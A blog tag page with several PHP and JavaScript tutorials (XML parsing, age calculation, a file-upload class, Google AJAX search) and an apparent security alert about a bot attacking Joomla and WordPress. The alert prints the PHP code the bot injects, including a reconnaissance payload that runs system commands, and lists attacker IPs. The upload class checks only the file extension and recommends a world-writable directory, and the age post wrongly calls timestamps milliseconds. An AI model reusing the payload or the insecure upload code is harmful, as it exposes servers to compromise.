Posts tagged ajax

Extract HTML from XML in a jQuery AJAX request

2

This is a bit tricky when you are parsing XML with jQuery. As you will realize, all HTML passed is ignored, and only the text is displayed. I have seen many people do this, which unfortunately won't work!

$(xml).find('element').each(function(){
	if($(this).text() < 0){
		alert($(this).text())
	}
});

Now this will throw an error, you can't take HTML from XML attributes like that!, you have to use $(this).text() as your function. So how will we do this?

The solution is very simple, where you generate the XML, make sure you wrap the html code with the CDATA marker as follows:

<element attribute="value"><![CDATA[Some HTML <span style="color:red">code</span> here]]></element>

And that will work perfectly!

New threat for all Joomla and WordPress installations

3

There is a new BOT out there, and one of the bad ones. I have started receiving traffic from it in my servers over the past week, and after some investigation it turns out it is quite a powerful bot, and so simple to use even a kid with a computer could use it.

The bot attacks mainly Joomla and WordPress installations, the Firestats plugin for WordPress version 1.6.2 has a known vulnerability that is exploited by this bot.

If successful, the bot will usually get your admin password and send it to a server somewhere, other versions f** your server up... it depends.

The bot is basically a top All-In-One product, that acts as a:

  • RFI Scanner
  • RFI Scan & Exploit
  • Joomla RFI Scan & Exploit
  • Milw0rm Search
  • Google bypass
  • Message Spy & Save
  • Auto Spreading

The last known spreader for the bot is the Fx29Spreadz v1.0 (Apr. 2009) which can be used from a server with a PHP Shell.

IPs and servers:

This bot has used the following IPs and hosts (That I know of)

  • 62.15.230.250
  • 210.68.188.206
  • 211.239.150.144
  • 125.251.133.3
  • 250.230.15.62.static.jazztel.es
  • buminch.org
  • www.framoss.ru

It has compromised servers in Republic of Korea, Taiwan and some other countries.

Injections:

The bot basically tries to insert the following PHP line:

 
< ?php /* Fx29ID */ echo("FeeL"."CoMz"); die("FeeL"."CoMz"); /* Fx29ID */ ?>
 

Although there is another variation which inserts:

 
    < ?php
    function ConvertBytes($number) {
    $len = strlen($number);
    if($len < 4) {
    return sprintf(”%d b”, $number); }
    if($len >= 4 && $len < =6) {
    return sprintf(”%0.2f Kb”, $number/1024); }
    if($len >= 7 && $len < =9) {
    return sprintf(”%0.2f Mb”, $number/1024/1024); }
    return sprintf(”%0.2f Gb”, $number/1024/1024/1024); }
 
    echo “Osirys<br>”;
    $un = @php_uname();
    $id1 = system(id);
    $pwd1 = @getcwd();
    $free1= diskfreespace($pwd1);
    $free = ConvertBytes(diskfreespace($pwd1));
    if (!$free) {$free = 0;}
    $all1= disk_total_space($pwd1);
    $all = ConvertBytes(disk_total_space($pwd1));
    if (!$all) {$all = 0;}
    $used = ConvertBytes($all1-$free1);
    $os = @PHP_OS;
 
    echo “0sirys was here and also is a fucking gay..”;
    echo “uname -a: $un”;
    echo “os: $os”;
    echo “id: $id1”;
    echo “free: $free”;
    echo “used: $used”;
    echo “total: $all”;
    exit;
 

Security recommendations:

If your website runs on WordPress, Joomla, Drupal, or other popular CMS you must upgrade all plugins and check for the latest version of the system!
If you have Firestats I recommend deactivating it for some time, until a new version fixing that bug is released, and still, I would wait.
If you have URL rewriting systems, ensure they are up-to-date, and if you built them re-check the security, and never include external files.

Hope this helped you :)

If you found any variations and new stuff about this please comment below

Calculate age in PHP from timestamp

0

If you ever wanted to calculate someone's age in PHP from a birth timestamp, you must take into account that the age is more than the number of years, since days and months are also important, so I wrote a simple function that will return the exact age for a given timestamp:

 
function getAge($birth){
	$t = time();
	$age = ($birth < 0) ? ( $t + ($birth * -1) ) : $t - $birth;
	return floor($age/31536000);
}
 

Basically we first get the current time and store it in a variable (To avoid having to call the function time more than once)
Then we get the age in milliseconds (Taking into account that before 1969 timestamps are negative, thus the ternary operator)

Now we have the date in milliseconds, we divide it by the number of milliseconds in a year (60*60*24*365)

And that is basically it :)

Easiest PHP file upload

1

Hello people,
I want to share with all of you a file upload class I have developed, that makes it stupid simple to upload files haha

The PHP class:

First of all, here is the PHP class you will need:

 
< ?php
//Uploader class, by Alex
// This class is meant to handle all kinds of file uploads for DJs Music
// Images, music... all here
 
class Uploader{
	var $maxSize;
	var $allowedExt;
	var $fileInfo = array();
 
	function config($maxSize,$allowedExt){
		$this->maxSize = $maxSize;
		$this->allowedExt = $allowedExt;
	}
 
function generateRandStr($length){
      $randstr = "";
      for($i=0; $i< $length; $i++){
         $randnum = mt_rand(0,61);
         if($randnum < 10){
            $randstr .= chr($randnum+48);
         }else if($randnum < 36){
            $randstr .= chr($randnum+55);
         }else{
            $randstr .= chr($randnum+61);
         }
      }
      return $randstr;
   }
 
	function check($uploadName){
		if(isset($_FILES[$uploadName])){
			$this->fileInfo['ext'] = substr(strrchr($_FILES[$uploadName]["name"], '.'), 1);
			$this->fileInfo['name'] = basename($_FILES[$uploadName]["name"]);
			$this->fileInfo['size'] = $_FILES[$uploadName]["size"];
			$this->fileInfo['temp'] = $_FILES[$uploadName]["tmp_name"];
			if($this->fileInfo['size']< $this->maxSize){
				if(strlen($this->allowedExt)>0){
					$exts = explode(',',$this->allowedExt);
					if(in_array($this->fileInfo['ext'],$exts)){
						return true;
					}
					echo 'Invalid file extension. Allowed extensions are '.$this->allowedExt;
					return false; //failed ext
				}
				echo 'Sorry but there is an error in our server. Please try again later.';
				return false; //All ext allowed
			}else{
				if($this->maxSize < 1000000){
					$rsi = round($this->maxSize/1000,2).' Kb';
				}else if($this->maxSize < 1000000000){
					$rsi = round($this->maxSize/1000000,2).' Mb';
				}else{
					$rsi = round($this->maxSize/1000000000,2).' Gb';
				}
				echo 'File is too big. Maximum allowed size is '.$rsi;
				return false; //failed size
			}
		}
		echo 'Oops! An unexpected error occurred, please try again later.';
		return false; //Either form not submitted or file/s not found
	}
 
	function upload($name,$dir,$fname=false){
		if(!is_dir($dir)){
			echo 'Sorry but there is an error in our server. Please try again later.';
			return false; //Directory doesn't exist!
		}
		if($this->check($name)){
			//Process upload. All info stored in array fileinfo:
			//Dir OK, keep going:
			//Get a new filename:
			if(!$fname){
				$this->fileInfo['fname'] = $this->generateRandStr(15).'.'.$this->fileInfo['ext'];
			}else{
				$this->fileInfo['fname'] = $fname;
			}
			while(file_exists($dir.$this->fileInfo['fname'])){
				$this->fileInfo['fname'] = $this->generateRandStr(15).'.'.$this->fileInfo['ext'];
			}
			//Unique name gotten
			// Move file:
			if(@move_uploaded_file($this->fileInfo['temp'], $dir.$this->fileInfo['fname'])){
				//Done
				return true;
			}else{
				echo 'The file could not be uploaded, although everything went ok :S ... Please try again later.';
				return false; //File not moved
			}
		}else{
			return false;
		}
	}
 
};
//Initialize the object:
$up = new Uploader;
?>
 

Alright this is the code. You shouldn't have to modify it, simply include it where you process the upload and the class will initiate itself inside the variable $up

Usage:

For this example I will suppose you have a basic HTML form as follows:

 
<form action="process.php" method="post" enctype="multipart/form-data">
<input name="uploadPic" type="file" />
<input name="upload" type="submit" value="Upload" />
</form>
 

As you can see, the action is process.php, which is, in this example, where the picture upload will be processed.

In the file process.php we will first include the upload handler, then configure it, and finally try to upload the file into the directory pictures/. Please take into account that it must be writable (CHMOD 777)

process.php:

 
< ?php
//include the class:
include('handleUpload.php');
$up->config('2000000','jpg,gif,png');
if($up->upload('uploadPic','pictures/')){
	echo 'File uploaded. File information: ';
	echo $up->fileInfo['ext'].'';
	echo $up->fileInfo['name'].'';
	echo $up->fileInfo['size'];
}
// If the file was not uploaded, the error will have been echoed automatically
?>
 

As you can see there is no }else{ because the handler echoes the errors by itself. You can change this behavior easily by setting up your own function as desired.

In this example we have configured it to allow a maximum of 2000000 bytes per upload, and only jpg, gif, and png pictures.

Now that the file is uploaded you have some information about it in the $up object. The format ($up->fileInfo['ext']), the name ($up->fileInfo['name']), and finally the size in bytes ($up->fileInfo['size']).

The handler also generates a random name, and ensures it is not already in the directory. The new name is stored in the fileInfo array as mentioned above.

I hope you found this useful :)

Google AJAX search API

2

Discover a great way to embed really customized searches in your site, use the Google search API (Using AJAX)

Here I'll show you how to develop a simple "Hello world" sort of program, using the Google API and AJAX to search.
There are 2 requirements though you need to fulfill in order to access the API:

  1. Your web site must be freely accessible to end users.
  2. Google will upgrade this API periodically, and you must update your site to use new versions of the API as they become available. The Gogle AJAX Search API team will post notifications of updates on the Google AJAX Search API Blog. (http://googleajaxsearchapi.blogspot.com/).

The second one is not that much of a requirement, but something you must take care of for your search to work properly...
So apply for your API key, and take into account that a single AJAX Search API key is valid within a single directory on your web server, including any subdirectories.
More information on the subject

So let's get going:
This is the HTML code of a website running the AJAX search:

 
< !DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
    <meta http-equiv="content-type" content="text/html; charset=utf-8"/>
    <title>Hello World - Google AJAX Search API Sample</title>
<link href="http://www.google.com/uds/css/gsearch.css"
        type="text/css" rel="stylesheet"/>
    <script src="http://www.google.com/uds/api?file=uds.js&amp;v=1.0"
        type="text/javascript"></script>
    <script language="Javascript" type="text/javascript">
    //< ![CDATA[
 
    function OnLoad() {
      // Create a search control
      var searchControl = new GSearchControl();
 
      // Add in a full set of searchers
      var localSearch = new GlocalSearch();
      searchControl.addSearcher(localSearch);
      searchControl.addSearcher(new GwebSearch());
      searchControl.addSearcher(new GvideoSearch());
      searchControl.addSearcher(new GblogSearch());
      searchControl.addSearcher(new GnewsSearch());
      searchControl.addSearcher(new GimageSearch());
      searchControl.addSearcher(new GbookSearch());
 
      // Set the Local Search center point
      localSearch.setCenterPoint("New York, NY");
 
      // tell the searcher to draw itself and tell it where to attach
      searchControl.draw(document.getElementById("searchcontrol"));
 
      // execute an inital search
      searchControl.execute("Urbano's Blog");
    }
    GSearch.setOnLoadCallback(OnLoad);
 
    //]]>
    </script>
  </head>
  <body>
<div id="searchcontrol">Loading</div>
 
  </body>
</html>

So that is a simple page using the search, I'll now go through the code explaining it:

First of all, we import Google's CSS style sheet from its location:

http://www.google.com/uds/css/gsearch.css

Next we import the Google AJAX search library from its location:

http://www.google.com/uds/api?file=uds.js&v=1.0

And now with the search controls:
For the configuration we will create a function, in this case OnLoad(). This function sets up the controls for our search, and draws the searcher inside the specified div.

To start, we need a new search control, which we set up as follows:

 
var searchControl = new GSearchControl();
 

So we have initialized the searcher, now define which areas we want to search in, in this case most of them:

 
      searchControl.addSearcher(localSearch);
      searchControl.addSearcher(new GwebSearch());
      searchControl.addSearcher(new GvideoSearch());
      searchControl.addSearcher(new GblogSearch());
      searchControl.addSearcher(new GnewsSearch());
      searchControl.addSearcher(new GimageSearch());
      searchControl.addSearcher(new GbookSearch());
 

We are using local, web, video, blog, news, image, and book searchers.

For the local search to work you need to set a "center point". For it to work perfectly you could use php for example and geoip to detect the location of the user and use that as center point... In the example we'll be using NY:

 
localSearch.setCenterPoint("New York, NY");
 

Now display the searcher in the specified div (This could be any div in your site, simply reference it and it will draw the searcher inside it). In this case "searchcontrol":

 
searchControl.draw(document.getElementById("searchcontrol"));
 

This is optional, but if you want to see it working you can set up an initial search. If you want this to work from your own search text fields, use GET or POST vars and php to set up the script to search for a given variable...
In this case we will be searching for "Urbano's Blog":

 
searchControl.execute("Urbano's Blog");
 

Be careful with the above to always strip ", because it would brake your script!

And you are basically done, simply call the OnLoad function and you are good to go!

 
GSearch.setOnLoadCallback(OnLoad);
 

Hope you enjoyed it!
Read more about this:

Go to Top